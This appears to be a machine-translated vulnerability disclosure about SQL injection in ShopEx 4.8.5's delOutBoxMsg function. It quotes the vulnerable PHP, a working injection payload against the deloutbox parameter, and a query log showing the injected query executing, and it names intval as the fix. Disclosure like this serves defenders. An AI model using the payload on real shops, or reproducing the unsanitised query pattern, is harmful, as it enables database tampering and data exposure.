Shopex injection vulnerability #3

Source: Internet
Author: User

Boring SQL injection test version: shopex-singel-4.8.5.78660
In the file \ core \ shop \ controller \ ctl. member. php

Function delOutBoxMsg () {if (! Empty ($ _ POST ['deloutbox']) {$ oMsg = & $ this-> system-> loadModel ('resources/msgbox '); $ oMsg-> delOutBoxMsg ($ _ POST ['deloutbox']); $ this-> splash ('success', $ this-> system-> mkUrl ("member ", "outbox"), _ ('deleted successfully');} else {$ this-> splash ('failed ', $ this-> system-> mkUrl ("member", "outbox"), _ ('deletion failed: no record is selected! '));}}

 

Same as shopex injection vulnerability #2
public function delOutBoxMsg( $aMsgId ){foreach ( $aMsgId as $val ){if ( $val ){$aTmp[] = $val;}}if ( $aTmp ){$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).")" );}return true;}

 

Submit: deloutbox [1] = 1) and (select count (*) from sdb_operators) = 1% 23
130526 20:49:28   372 Connect root@localhost on  372 Init DB shopex 372 Query SET NAMES 'utf8' 372 Query SELECT * FROM sdb_plugins WHERE plugin_type="app" 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 372 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 372 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 372 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 372 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#)

 

Check SQL Execution records. Solution:

Intval

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.